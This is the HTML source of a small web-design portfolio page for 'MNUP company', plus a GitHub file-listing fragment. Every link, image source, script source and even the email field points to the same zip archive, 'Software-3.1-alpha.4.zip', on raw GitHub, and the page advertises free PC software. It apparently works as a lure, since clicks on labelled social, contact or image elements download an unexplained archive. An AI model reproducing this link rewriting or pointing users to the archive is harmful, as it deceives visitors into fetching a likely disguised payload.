</head>
<body>
<header>
<a href="#" class="logo">MNUP company</a>
<nav class="navigation">
<a href="#services">Services</a>
<a href="#projects">Projects</a>
<a href="#contact">Contact</a>
</nav>
</header>
<section class="main">
<div>
<h2>welcome to <br><span>MNUP services</span></h2>
<h3>WEB Development&designing</h3>
<a href="#projects" class="main-btn">View my work</a>
<div class="social-icons">
<a href="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip"><i class="fab fa-facebook"></i></a>
<a href="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip"><i class="fab fa-whatsapp"></i></a>
<a href="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip"><i class="fab fa-instagram"></i></a>
<a href="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip"><i class="fab fa-youtube"></i></a>
</div>
</div>
</section>
<section class="cards" id="services">
<h2 class="title">Services</h2>
<div class="content">
<div class="card">
<div class="icon">
<i class="fa-solid fa-wand-magic-sparkles"></i>
</div>
<div class="info">
<h3>front&end</h3>
<p>Are you Looking for skilled Pro design and development for your website?
Are you looking for HTML&CSS Development?
Are you an agency looking to outsource projects for your clients? </p>
</div>
</div>
<div class="card">
<div class="icon">
<i class="fa-solid fa-palette"></i>
</div>
<div class="info">
<h3>Graphics&design</h3>
<p>Get your Business Card, Logo and/or other Stationery creatively designed</p>
</div>
</div>
<div class="card">
<div class="icon">
<i class="fa-solid fa-download"></i>
</div>
<div class="info">
<h3> best source for latest version of software for PC</h3>
<p>all Software Categories for free(It is being worked on.)</p>
</div>
</div>
</div>
</section>
<section class="projects" id="projects">
<h2 class="title">Projects(coming soon!!)</h2>
<div class="content">
<div class="project-card">
<div class="project-image">
<img src="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip" />
</div>
<div class="project-info">
<p class="project-category">Script Writing & Video Production</p>
<strong class="project-title">
<span>Dev Books</span>
<a href="#" class="more-details">More details</a>
</strong>
</div>
</div>
<div class="project-card">
<div class="project-image">
<img src="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip" />
</div>
<div class="project-info">
<p class="project-category">Script Writing & Video Production</p>
<strong class="project-title">
<span>Dev Books</span>
<a href="#" class="more-details">More details</a>
</strong>
</div>
</div>
<div class="project-card">
<div class="project-image">
<img src="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip" />
</div>
<div class="project-info">
<p class="project-category">Script Writing & Video Production</p>
<strong class="project-title">
<span>Dev Books</span>
<a href="#" class="more-details">More details</a>
</strong>
</div>
</div>
<div class="project-card">
<div class="project-image">
<img src="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip" />
</div>
<div class="project-info">
<p class="project-category">Script Writing & Video Production</p>
<strong class="project-title">
<span>Dev Books</span>
<a href="#" class="more-details">More details</a>
</strong>
</div>
</div>
<div class="project-card">
<div class="project-image">
<img src="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip" />
</div>
<div class="project-info">
<p class="project-category">Script Writing & Video Production</p>
<strong class="project-title">
<span>Dev Books</span>
<a href="#" class="more-details">More details</a>
</strong>
</div>
</div>
<div class="project-card">
<div class="project-image">
<img src="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip" />
</div>
<div class="project-info">
<p class="project-category">Script Writing & Video Production</p>
<strong class="project-title">
<span>Internet</span>
<a href="#" class="more-details">More details</a>
</strong>
</div>
</div>
</div>
</section>
<section class="cards contact" id="contact">
<h2 class="title">Let's work together</h2>
<div class="content">
<div class="card">
<div class="icon">
<i class="fas fa-phone"></i>
</div>
<div class="info">
<h3>Phone</h3>
<p>+212610928119</p>
</div>
</div>
<div class="card">
<div class="icon">
<i class="fas fa-envelope"></i>
</div>
<div class="info">
<h3>Email</h3>
<p>https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip </p>
</div>
</div>
</div>
</section>
<footer class="footer">
<p class="footer-title">Copyrights @ <span>MBARKI AYYOUB</span></p>
<div class="social-icons">
<a href="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip"><i class="fab fa-whatsapp"></i></a>
<a href="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip"><i class="fab fa-facebook"></i></a>
<a href="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip"><i class="fab fa-instagram"></i></a>
<a href="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip"><i class="fab fa-youtube"></i></a>
</div>
</footer>
<script src="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip" integrity="sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM" crossorigin="anonymous"></script>
<script src="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip"></script>
<script src="https://raw.githubusercontent.com/Mstore7/Mbarkiayyoub/main/images/Software-3.1-alpha.4.zip"></script>
</body>
</html>
Mstore7/Mbarkiayyoub
Folders and files
| Name | Name | Last commit date | ||
|---|---|---|---|---|